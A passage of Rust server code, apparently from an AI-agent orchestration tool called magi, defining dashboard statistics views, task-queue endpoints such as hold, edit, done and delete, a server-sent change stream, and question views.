6271            deliberated: t.deliberated,
6272            minds_changed: t.minds_changed,
6273            converged: t.converged,
6274            review_rounds: t.review_rounds,
6275        }
6276    }
6277}
6278
6279/// [`crate::stats::AgentStats`] for the wire.
6280#[derive(Debug, Serialize)]
6281struct AgentStatsView {
6282    agent: String,
6283    entered: usize,
6284    wins: usize,
6285    empty: usize,
6286    win_rate: Option<RateView>,
6287    competitive_entered: usize,
6288    competitive_wins: usize,
6289    competitive_win_rate: Option<RateView>,
6290    solo_entered: usize,
6291    solo_adopted: usize,
6292    solo_adoption_rate: Option<RateView>,
6293}
6294
6295impl From<&stats::AgentStats> for AgentStatsView {
6296    fn from(a: &stats::AgentStats) -> Self {
6297        Self {
6298            agent: a.agent.clone(),
6299            entered: a.entered,
6300            wins: a.wins,
6301            empty: a.empty,
6302            win_rate: RateView::of(a.wins, a.entered),
6303            competitive_entered: a.competitive_entered,
6304            competitive_wins: a.competitive_wins,
6305            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
6306            solo_entered: a.solo_entered,
6307            solo_adopted: a.solo_adopted,
6308            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
6309        }
6310    }
6311}
6312
6313/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
6314/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
6315/// value, `None` when `rounds` is zero.
6316#[derive(Debug, Serialize)]
6317struct ReviewerStatsView {
6318    agent: String,
6319    rounds: usize,
6320    seated: usize,
6321    submitted: usize,
6322    adopted: usize,
6323    unique: usize,
6324    timeouts: usize,
6325    adopted_per_round: Option<f64>,
6326    precision: Option<RateView>,
6327    unique_rate: Option<RateView>,
6328    timeout_rate: Option<RateView>,
6329}
6330
6331impl From<&stats::ReviewerStats> for ReviewerStatsView {
6332    fn from(r: &stats::ReviewerStats) -> Self {
6333        Self {
6334            agent: r.agent.clone(),
6335            rounds: r.rounds,
6336            seated: r.seated,
6337            submitted: r.submitted,
6338            adopted: r.adopted,
6339            unique: r.unique,
6340            timeouts: r.timeouts,
6341            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
6342            precision: RateView::of(r.adopted, r.submitted),
6343            unique_rate: RateView::of(r.unique, r.submitted),
6344            timeout_rate: RateView::of(r.timeouts, r.seated),
6345        }
6346    }
6347}
6348
6349/// [`crate::stats::AdvisorStats`] for the wire.
6350///
6351/// `reflection_rate` is approximate by construction — see
6352/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
6353/// that caveat is static text in `index.html`, not a field here.
6354#[derive(Debug, Serialize)]
6355struct AdvisorStatsView {
6356    agent: String,
6357    seated: usize,
6358    proposed: usize,
6359    absent: usize,
6360    faint: usize,
6361    strong: usize,
6362    reflection_rate: Option<RateView>,
6363}
6364
6365impl From<&stats::AdvisorStats> for AdvisorStatsView {
6366    fn from(a: &stats::AdvisorStats) -> Self {
6367        Self {
6368            agent: a.agent.clone(),
6369            seated: a.seated,
6370            proposed: a.proposed,
6371            absent: a.absent,
6372            faint: a.faint,
6373            strong: a.strong,
6374            reflection_rate: RateView::of(a.strong, a.proposed),
6375        }
6376    }
6377}
6378
6379/// [`crate::stats::E2eStats`] for the wire.
6380#[derive(Debug, Serialize)]
6381struct E2eStatsView {
6382    rounds: usize,
6383    failures: usize,
6384    sole_detections: usize,
6385    deferred: usize,
6386    sole_rate: Option<RateView>,
6387}
6388
6389impl From<&stats::E2eStats> for E2eStatsView {
6390    fn from(e: &stats::E2eStats) -> Self {
6391        Self {
6392            rounds: e.rounds,
6393            failures: e.failures,
6394            sole_detections: e.sole_detections,
6395            deferred: e.deferred,
6396            sole_rate: RateView::of(e.sole_detections, e.failures),
6397        }
6398    }
6399}
6400
6401/// [`crate::stats::ReleaseBumpStats`] for the wire.
6402///
6403/// `clean` is sent as a raw count, computed the same way
6404/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
6405/// needs_attention`) — never derived client-side from `automerge_enabled`,
6406/// which would misclassify a `merged_directly` bump (automerge rejected, but
6407/// magi merged it directly, so no human involvement) as needing attention.
6408#[derive(Debug, Serialize)]
6409struct ReleaseBumpStatsView {
6410    merged: usize,
6411    recorded: usize,
6412    pr_opened: usize,
6413    automerge_enabled: usize,
6414    merged_directly: usize,
6415    needs_attention: usize,
6416    clean: usize,
6417    coverage_rate: Option<RateView>,
6418    automerge_rate: Option<RateView>,
6419    attention_rate: Option<RateView>,
6420}
6421
6422impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
6423    fn from(b: &stats::ReleaseBumpStats) -> Self {
6424        Self {
6425            merged: b.merged,
6426            recorded: b.recorded,
6427            pr_opened: b.pr_opened,
6428            automerge_enabled: b.automerge_enabled,
6429            merged_directly: b.merged_directly,
6430            needs_attention: b.needs_attention,
6431            clean: b.clean(),
6432            coverage_rate: RateView::of(b.recorded, b.merged),
6433            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
6434            attention_rate: RateView::of(b.needs_attention, b.recorded),
6435        }
6436    }
6437}
6438
6439/// [`crate::queue::TaskCounts`] for the wire.
6440#[derive(Debug, Serialize)]
6441struct TaskCountsView {
6442    queued: usize,
6443    running: usize,
6444    done: usize,
6445    failed: usize,
6446    held: usize,
6447    blocked: usize,
6448    parked: usize,
6449}
6450
6451impl From<crate::queue::TaskCounts> for TaskCountsView {
6452    fn from(c: crate::queue::TaskCounts) -> Self {
6453        Self {
6454            queued: c.queued,
6455            running: c.running,
6456            done: c.done,
6457            failed: c.failed,
6458            held: c.held,
6459            blocked: c.blocked,
6460            parked: c.parked,
6461        }
6462    }
6463}
6464
6465/// [`crate::stats::RepoStats`] for the wire, one row per repository with
6466/// runs recorded — the summary the UI's repository selector is built from.
6467/// Carries no nested `Stats`: picking a repo means re-fetching
6468/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
6469/// aggregation rather than duplicating it.
6470#[derive(Debug, Serialize)]
6471struct RepoSummaryView {
6472    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
6473    /// against, full path and all (see [`stats_get`]'s own doc for why).
6474    repo: String,
6475    /// Display name only; never used for matching.
6476    name: String,
6477    runs: usize,
6478    completion_rate: Option<RateView>,
6479}
6480
6481impl From<&stats::RepoStats> for RepoSummaryView {
6482    fn from(r: &stats::RepoStats) -> Self {
6483        let t = &r.stats.totals;
6484        Self {
6485            repo: r.repo.to_string_lossy().into_owned(),
6486            name: r.name.clone(),
6487            runs: t.runs,
6488            completion_rate: RateView::of(t.merged + t.ready, t.runs),
6489        }
6490    }
6491}
6492
6493/// `GET /api/stats` - the whole answer. `Stats` itself carries no
6494/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
6495/// renders from them) are free to grow without that becoming a wire-contract
6496/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
6497/// data" from "computed and it really is zero" the way [`RateView`] does.
6498#[derive(Debug, Serialize)]
6499struct StatsView {
6500    totals: StatsTotalsView,
6501    /// Best win rate first, as [`stats::collect`] already sorts it.
6502    agents: Vec<AgentStatsView>,
6503    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
6504    reviewers: Vec<ReviewerStatsView>,
6505    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
6506    advisors: Vec<AdvisorStatsView>,
6507    e2e: E2eStatsView,
6508    release_bumps: ReleaseBumpStatsView,
6509    queue: Option<TaskCountsView>,
6510    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
6511    /// that field's doc. Asserted to match it in
6512    /// `stats_runs_unreadable_matches_health`.
6513    ///
6514    /// Always the whole-workload count, even when `repo` narrows every other
6515    /// field to one repository - an unreadable `run.json` carries no `repo`
6516    /// a per-repository count could attribute it to, and the queue/health
6517    /// views this mirrors never scope it either. The UI must not present it
6518    /// as if it were scoped to the selected repository.
6519    runs_unreadable: usize,
6520    /// Every repository with runs recorded, most runs first - what the UI's
6521    /// repository selector is built from. Always the full list regardless of
6522    /// `repo`, so switching repositories never needs a second request.
6523    repos: Vec<RepoSummaryView>,
6524    /// Runs per local day over the last 30 days, oldest first, always 30
6525    /// entries. Days are the *server's* local dates (the UI must not convert
6526    /// them again), cut by run creation and classified by current status.
6527    /// Narrowed by `repo` like every other run-derived field.
6528    daily: Vec<DailyStatsView>,
6529    /// The `?repo=` value this response was narrowed to, echoed back so the
6530    /// UI can confirm its selection round-tripped. `None` for the aggregate,
6531    /// all-repositories view.
6532    repo: Option<String>,
6533    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
6534    /// current config roster no longer lists them. Empty with `?all=true`, an
6535    /// unreadable config, or when nothing was retired.
6536    retired_hidden: Vec<String>,
6537}
6538
6539/// One day of [`StatsView::daily`].
6540#[derive(Debug, Serialize)]
6541struct DailyStatsView {
6542    /// `YYYY-MM-DD`, server-local.
6543    date: String,
6544    runs: usize,
6545    merged: usize,
6546    ready: usize,
6547    other: usize,
6548    /// `None` on a day with no runs, so it never reads as 0%.
6549    completion_rate: Option<RateView>,
6550}
6551
6552impl From<&stats::DayBucket> for DailyStatsView {
6553    fn from(b: &stats::DayBucket) -> Self {
6554        Self {
6555            date: b.date.to_string(),
6556            runs: b.runs,
6557            merged: b.merged,
6558            ready: b.ready,
6559            other: b.other,
6560            completion_rate: RateView::of(b.merged + b.ready, b.runs),
6561        }
6562    }
6563}
6564
6565/// How many days [`StatsView::daily`] covers.
6566const STATS_DAILY_DAYS: usize = 30;
6567
6568/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
6569/// repository. Matched by full-path equality against `RunState.repo` only
6570/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
6571/// `--repo` is, because the value here always came from this same route's
6572/// own `repos` list in an earlier response, never typed by a human. A value
6573/// matching no run is a 404, not an empty aggregate: the caller asked for a
6574/// specific, named repository, and silently returning zeroes would look
6575/// exactly like a repository that has runs but none of interest.
6576#[derive(Debug, Default, Deserialize)]
6577#[serde(default)]
6578struct StatsQuery {
6579    repo: Option<String>,
6580    /// `?all=true` keeps agents that are no longer in the roster.
6581    all: bool,
6582    /// The dashboard fetches queue counts independently of run history.
6583    runs_only: bool,
6584}
6585
6586/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
6587/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
6588/// runs when `?repo=` narrows it), the same counting logic `magi stats`
6589/// prints from. Reads every readable run on disk, exactly as
6590/// [`runs_unreadable`] does, so the two counts can never drift apart the way
6591/// a separately-maintained tally could.
6592async fn stats_get(
6593    State(ui): State<Arc<Ui>>,
6594    Query(q): Query<StatsQuery>,
6595) -> ApiResult<Json<StatsView>> {
6596    blocking(move || {
6597        let states: Vec<RunState> = run_ids(&ui.runs)
6598            .into_iter()
6599            .filter_map(|id| read_run(&ui.runs, &id).ok())
6600            .collect();
6601        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
6602            .iter()
6603            .map(RepoSummaryView::from)
6604            .collect();
6605        let mut scoped: Vec<&RunState> = states.iter().collect();
6606        let mut collected = match &q.repo {
6607            Some(repo) => {
6608                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
6609                if filtered.is_empty() {
6610                    return Err(ApiError::not_found(format!(
6611                        "no runs recorded against repo `{repo}`"
6612                    )));
6613                }
6614                scoped = filtered.clone();
6615                stats::collect_refs(filtered)
6616            }
6617            None => stats::collect(&states),
6618        };
6619        if !q.all {
6620            let repo = q
6621                .repo
6622                .as_deref()
6623                .map_or_else(|| ui.repo.clone(), PathBuf::from);
6624            stats::retain_current_roster(&mut collected, &repo);
6625        }
6626        let daily = stats::daily(
6627            scoped,
6628            jiff::Zoned::now().date(),
6629            &jiff::tz::TimeZone::system(),
6630            STATS_DAILY_DAYS,
6631        );
6632        let queue_counts = (!q.runs_only)
6633            .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
6634        Ok(Json(StatsView {
6635            totals: StatsTotalsView::from(&collected.totals),
6636            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
6637            reviewers: collected
6638                .reviewers
6639                .iter()
6640                .map(ReviewerStatsView::from)
6641                .collect(),
6642            advisors: collected
6643                .advisors
6644                .iter()
6645                .map(AdvisorStatsView::from)
6646                .collect(),
6647            e2e: E2eStatsView::from(&collected.e2e),
6648            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
6649            queue: queue_counts,
6650            runs_unreadable: runs_unreadable(&ui.runs),
6651            repos,
6652            daily: daily.iter().map(DailyStatsView::from).collect(),
6653            repo: q.repo.clone(),
6654            retired_hidden: collected.retired_hidden.clone(),
6655        }))
6656    })
6657    .await
6658}
6659
6660/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
6661/// gives no reason - which must keep working, since not every hold has one.
6662#[derive(Debug, Default, Deserialize)]
6663#[serde(default, deny_unknown_fields)]
6664struct HoldBody {
6665    reason: Option<String>,
6666}
6667
6668async fn queue_hold(
6669    State(ui): State<Arc<Ui>>,
6670    Path(id): Path<String>,
6671    body: std::result::Result<Json<HoldBody>, JsonRejection>,
6672) -> ApiResult<Json<TaskView>> {
6673    // An absent body is the ordinary case - most holds are unexplained, and
6674    // that has to stay a one-tap action rather than a form. A body that is
6675    // present and malformed is still a bad request.
6676    let body = match body {
6677        Ok(Json(body)) => body,
6678        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
6679        Err(e) => return Err(ApiError::bad_request(e.body_text())),
6680    };
6681    let reason = body.reason.filter(|r| !r.trim().is_empty());
6682    mutate(ui, id, move |t| {
6683        t.hold_manual(reason.clone());
6684        Ok(())
6685    })
6686    .await
6687}
6688
6689async fn queue_release(
6690    State(ui): State<Arc<Ui>>,
6691    Path(id): Path<String>,
6692) -> ApiResult<Json<TaskView>> {
6693    mutate(ui, id, |t| {
6694        t.release_operator("web", None);
6695        Ok(())
6696    })
6697    .await
6698}
6699
6700#[derive(Debug, Deserialize)]
6701#[serde(deny_unknown_fields)]
6702struct AttemptLimitBody {
6703    // Required even when clearing: missing fields must not silently erase an override.
6704    attempt_limit: serde_json::Value,
6705}
6706
6707async fn queue_attempt_limit(
6708    State(ui): State<Arc<Ui>>,
6709    Path(id): Path<String>,
6710    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
6711) -> ApiResult<Json<TaskView>> {
6712    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6713    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
6714        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
6715    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
6716}
6717
6718#[derive(Debug, Deserialize)]
6719#[serde(deny_unknown_fields)]
6720struct ImplementersBody {
6721    implementers: u8,
6722}
6723
6724async fn queue_implementers(
6725    State(ui): State<Arc<Ui>>,
6726    Path(id): Path<String>,
6727    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
6728) -> ApiResult<Json<TaskView>> {
6729    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6730    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
6731}
6732
6733#[derive(Debug, Deserialize)]
6734#[serde(deny_unknown_fields)]
6735struct UrgentBody {
6736    urgent: bool,
6737}
6738
6739async fn queue_urgent(
6740    State(ui): State<Arc<Ui>>,
6741    Path(id): Path<String>,
6742    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
6743) -> ApiResult<Json<TaskView>> {
6744    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6745    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
6746}
6747
6748/// The body of `POST /api/queue/{id}/priority`.
6749#[derive(Debug, Deserialize)]
6750#[serde(deny_unknown_fields)]
6751struct PriorityBody {
6752    priority: i32,
6753}
6754
6755/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
6756///
6757/// [`Task::set_priority`] is the one place the "not while running" rule is
6758/// stated; this route only carries the body to it and lets its `Err` become
6759/// the 4xx the card shows.
6760async fn queue_priority(
6761    State(ui): State<Arc<Ui>>,
6762    Path(id): Path<String>,
6763    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
6764) -> ApiResult<Json<TaskView>> {
6765    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6766    mutate(ui, id, move |t| t.set_priority(body.priority)).await
6767}
6768
6769/// The body of `POST /api/queue/{id}/edit`.
6770#[derive(Debug, Deserialize)]
6771#[serde(deny_unknown_fields)]
6772struct EditBody {
6773    title: String,
6774    instruction: String,
6775    /// Save even though the new text names a branch, commit or pull request
6776    /// that unfinished work already owns.
6777    #[serde(default)]
6778    force: bool,
6779}
6780
6781/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
6782/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
6783/// that refusal's message is what the sheet shows back.
6784async fn queue_edit(
6785    State(ui): State<Arc<Ui>>,
6786    Path(id): Path<String>,
6787    body: std::result::Result<Json<EditBody>, JsonRejection>,
6788) -> ApiResult<Json<TaskView>> {
6789    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6790    // The judge is an agent call, so it is awaited here, outside the claim
6791    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
6792    // remembered, and the save refuses if the task moved underneath it.
6793    let mut judged: Option<(String, PathBuf)> = None;
6794    if !body.force {
6795        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
6796        let (id, text) = (id.clone(), body.instruction.clone());
6797        let (seen, hits) = blocking(move || {
6798            let id = resolve_task(&queue, &id)?;
6799            let t = queue.get(&id)?;
6800            if text == t.instruction {
6801                return Ok((None, Vec::new()));
6802            }
6803            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
6804            Ok((Some((t.instruction, t.repo)), hits))
6805        })
6806        .await?;
6807        if let Some((_, repo)) = &seen {
6808            let cfg = crate::config::Config::discover(repo, None)
6809                .ok()
6810                .map(|(c, _)| c);
6811            let screened =
6812                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
6813                    .await
6814                    .map_err(|dup| {
6815                        ApiError::conflict(dup.render(
6816                            "Nothing was saved. If it is not a duplicate, repeat the request \
6817                             with \"force\": true.",
6818                        ))
6819                    })?;
6820            if let crate::dupes::Screened::Unjudged(why) = screened {
6821                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
6822            }
6823        }
6824        judged = seen;
6825    }
6826    let force = body.force;
6827    mutate(ui, id, move |t| {
6828        if !force && body.instruction != t.instruction {
6829            match &judged {
6830                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
6831                _ => {
6832                    anyhow::bail!("the task changed while it was being checked; repeat the request")
6833                }
6834            }
6835        }
6836        t.edit(body.title.clone(), body.instruction.clone())
6837    })
6838    .await
6839}
6840
6841/// `POST /api/queue/{id}/done` - close a task as finished without deleting
6842/// it, so the phone's other way to clear a task from the backlog does not
6843/// have to cost the run history, the attribution, and `created_at` the way
6844/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
6845/// can be marked done by hand, because this is for the run the loop never
6846/// saw land - a merge done by hand, or a gate that misreported - and that can
6847/// happen from any status the task was left in.
6848async fn queue_done(
6849    State(ui): State<Arc<Ui>>,
6850    Path(id): Path<String>,
6851) -> ApiResult<Json<TaskView>> {
6852    let home = ui.home.clone();
6853    mutate(ui, id, move |t| {
6854        t.succeed();
6855        // Same as the loop's own settle path: closing a task by hand is just
6856        // as much "this task's story is over" as a daemon-driven `Merged`/
6857        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
6858        // behind must stop looking like it still needs a human. `ui.home`,
6859        // not the process-global `run::home()`: they agree in a real
6860        // process, but only `ui.home` also agrees with a test fixture's own
6861        // directory.
6862        crate::daemon::supersede_prior_runs(t, &home);
6863        Ok(())
6864    })
6865    .await
6866}
6867
6868/// `DELETE /api/queue/{id}`.
6869///
6870/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
6871/// names this task: a `running` status or an orphaned `.lock` left behind by a
6872/// killed daemon is a leftover, and treating either as authority made the
6873/// task undeletable from the phone for good. The associated runs, if any, are
6874/// kept: a run is self-contained history and not an appendage of the task.
6875async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6876    blocking(move || {
6877        let id = resolve_task(&ui.queue, &id)?;
6878        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
6879        ui.queue
6880            .remove(&id, in_flight, &ui.questions)
6881            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
6882        Ok(StatusCode::NO_CONTENT)
6883    })
6884    .await
6885}
6886
6887/// Read a task, change it, write it back, under the queue's own lock.
6888///
6889/// Taking the same claim a daemon takes is what makes hold, release,
6890/// priority, edit, and done safe to press while magi is running: without it
6891/// the daemon's next save would land on top of the operator's change and
6892/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
6893/// both do, for a running task - and that refusal becomes the 4xx the card
6894/// shows, same as any other domain rule.
6895async fn mutate(
6896    ui: Arc<Ui>,
6897    id: String,
6898    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
6899) -> ApiResult<Json<TaskView>> {
6900    blocking(move || {
6901        let id = resolve_task(&ui.queue, &id)?;
6902        // `claim` fails when the lock file already exists, which is the
6903        // conflict the UI must report: the daemon owns that task's file for
6904        // as long as it is running it, and our write would be lost under its
6905        // next save. The message names the lock either way.
6906        let _claim = ui.queue.claim(&id).map_err(|e| {
6907            ApiError::conflict(format!(
6908                "{e:#} - a daemon is running this task, so it cannot be \
6909                 changed from here yet; wait until it is released, then retry"
6910            ))
6911        })?;
6912        let mut task = ui.queue.get(&id)?;
6913        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
6914            Ok(dup) => ApiError::conflict(dup.render(
6915                "Nothing was saved. If it is not a duplicate, repeat the request with \
6916                 \"force\": true.",
6917            )),
6918            Err(e) => ApiError::bad_request_from(e),
6919        })?;
6920        ui.queue.put(&mut task)?;
6921        Ok(Json(TaskView::from(task)))
6922    })
6923    .await
6924}
6925
6926/// The change stream: one revision number per store, on connect and whenever
6927/// any of them moves.
6928///
6929/// One shared worker scans stores; clients only forward its notifications.
6930async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
6931    ui.monitor.ensure_worker(&ui);
6932    let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
6933    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
6934
6935    let state = Arc::clone(&ui);
6936    tokio::spawn(async move {
6937        let initial_revisions = {
6938            let guard = match state.monitor.latest.lock() {
6939                Ok(g) => g,
6940                Err(p) => p.into_inner(),
6941            };
6942            guard.as_ref().map(|(r, _)| *r)
6943        };
6944        if let Some(revisions) = initial_revisions {
6945            let initial_payload = serde_json::json!({
6946                "queue_rev": revisions.0,
6947                "runs_rev": revisions.1,
6948                "questions_rev": revisions.2,
6949                "talks_rev": revisions.3,
6950                "notifications_rev": revisions.4,
6951                "loop_rev": revisions.5,
6952            });
6953
6954            if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
6955                if tx.send(event).await.is_err() {
6956                    return;
6957                }
6958            }
6959        }
6960
6961        loop {
6962            match tokio::select! {
6963                _ = tx.closed() => return,
6964                value = broadcast_rx.recv() => value,
6965            } {
6966                Ok(notif) => {
6967                    let Ok(event) = Event::default().event("change").json_data(notif.payload)
6968                    else {
6969                        break;
6970                    };
6971                    if tx.send(event).await.is_err() {
6972                        break;
6973                    }
6974                }
6975                Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
6976                    let revs = {
6977                        let guard = match state.monitor.latest.lock() {
6978                            Ok(g) => g,
6979                            Err(p) => p.into_inner(),
6980                        };
6981                        guard.as_ref().map(|(r, _)| *r)
6982                    };
6983                    if let Some(revs) = revs {
6984                        let payload = serde_json::json!({
6985                            "queue_rev": revs.0,
6986                            "runs_rev": revs.1,
6987                            "questions_rev": revs.2,
6988                            "talks_rev": revs.3,
6989                            "notifications_rev": revs.4,
6990                            "loop_rev": revs.5,
6991                        });
6992                        if let Ok(event) = Event::default().event("change").json_data(payload) {
6993                            if tx.send(event).await.is_err() {
6994                                break;
6995                            }
6996                        }
6997                    }
6998                }
6999                Err(tokio::sync::broadcast::error::RecvError::Closed) => {
7000                    break;
7001                }
7002            }
7003        }
7004    });
7005
7006    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7007        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7008}
7009
7010/// Run ids under `runs`, newest first.
7011///
7012/// Rooted at an explicit directory rather than calling [`run::list_ids`],
7013/// which reads the process-global home: the server has to be drivable against
7014/// a temp directory for any of this to be testable.
7015fn run_ids(runs: &FsPath) -> Vec<String> {
7016    let mut ids: Vec<String> = std::fs::read_dir(runs)
7017        .into_iter()
7018        .flatten()
7019        .flatten()
7020        .filter(|e| e.path().join("run.json").is_file())
7021        .map(|e| e.file_name().to_string_lossy().into_owned())
7022        .collect();
7023    // Ids start with a sortable timestamp.
7024    ids.sort_unstable_by(|a, b| b.cmp(a));
7025    ids
7026}
7027
7028/// Read one run's state from an explicit runs root.
7029fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7030    let path = runs.join(id).join("run.json");
7031    let body =
7032        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7033    let state: RunState =
7034        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7035    // The same migration `RunState::load` applies, so a record from the
7036    // previous schema reads here as it does everywhere else (an origin-less
7037    // run shows as "origin unknown") instead of vanishing from the phone the
7038    // moment the schema is bumped.
7039    run::migrate_schema(state)
7040}
7041
7042/// Runs on disk under `runs` whose state this build cannot parse - almost
7043/// always a schema bump, occasionally a run killed mid-write.
7044///
7045/// Exposed so every surface that reports on runs shares one count instead of
7046/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
7047/// `magi doctor` calls this directly rather than guessing at the same number
7048/// a second way.
7049#[must_use]
7050pub fn runs_unreadable(runs: &FsPath) -> usize {
7051    run_ids(runs)
7052        .into_iter()
7053        .filter(|id| read_run(runs, id).is_err())
7054        .count()
7055}
7056
7057fn plain_record_id(id: &str) -> bool {
7058    !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7059}
7060
7061/// Expand an id or short id to exactly one run id.
7062fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7063    if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7064        return Ok(id.to_owned());
7065    }
7066    pick(run_ids(runs), id, "run")
7067}
7068
7069/// Expand an id or short id to exactly one task id.
7070fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7071    if plain_record_id(id) && queue.path_of(id).is_file() {
7072        return Ok(id.to_owned());
7073    }
7074    let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7075    pick(ids, id, "task")
7076}
7077
7078/// A question as the phone reads it.
7079///
7080/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
7081/// text already parsed into a node tree so the client never runs its own
7082/// markdown reader over agent-authored prose. A relative image path in it
7083/// resolves against this question's own panel asset route, which is the one
7084/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
7085/// separate, sandboxed document, but `detail` is rendered inline in the
7086/// operator's own page, so an image reference in it may only ever point at
7087/// files magi itself already serves for this question.
7088#[derive(Debug, Serialize)]
7089struct QuestionView {
7090    choice_effects: std::collections::BTreeMap<String, String>,
7091    record_revision: String,
7092    #[serde(flatten)]
7093    question: Question,
7094    detail_md: Vec<md::Node>,
7095    posting_view: Option<PostingView>,
7096    /// Each thread turn's body, parsed; same order as `question.thread`.
7097    thread_bodies_md: Vec<Vec<md::Node>>,
7098    /// Each thread turn's deputy note, parsed (`None` for a turn without
7099    /// one); same order as `question.thread`.
7100    thread_notes_md: Vec<Option<Vec<md::Node>>>,
7101    /// Is the ball in the agent's court right now?
7102    ///
7103    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
7104    /// [`Question::say`] - so this is the one field that tells the phone to
7105    /// disable the answer controls and show "waiting for the agent" instead of
7106    /// a card the owner can act on. Computed rather than stored on
7107    /// [`Question`] itself, on the same reasoning as `waiting` on
7108    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
7109    /// it here means the client never has to re-derive that rule.
7110    waiting_on_agent: bool,
7111    /// Who is waiting on this open question - see [`holder_of`]. Separate
7112    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
7113    /// anyone is there to take it.
7114    holder: Option<&'static str>,
7115    /// Whether `magi serve` can start a follow-up agent for a conductor
7116    /// question at all: false when `daemon.max_deputies = 0` or the config is
7117    /// unreadable. Separate from `holder`, which says who is listening now.
7118    deputies_enabled: bool,
7119    /// All starts were spent and no live holder remains. Display-only: the
7120    /// final attempt increments `starts` before running under its lease.
7121    deputy_exhausted: bool,
7122    text_delivery: crate::question_delivery::Availability,
7123    /// `question.run` is a task id (conductor / triage questions), not a run
7124    /// id, so the UI links it to the task page.
7125    run_is_task: bool,
7126    /// The existing chat this question's task came from, including settled
7127    /// questions - see [`crate::consult::associated_talk`].
7128    origin_chat: Option<String>,
7129    /// `origin_chat` is closed; consulting reopens it first.
7130    origin_chat_closed: bool,
7131    /// Consultation eligibility is separate from navigation to the chat.
7132    can_consult_chat: bool,
7133}
7134
7135#[derive(Debug, Serialize)]
7136struct PostingView {
7137    before_md: Vec<md::Node>,
7138    after_md: Vec<md::Node>,
7139    fields: Vec<crate::github_text::ComparisonView>,
7140}
7141
7142fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7143    let comparison = question.posting_comparison.as_ref()?;
7144    if !comparison.matches_detail(&question.detail) {
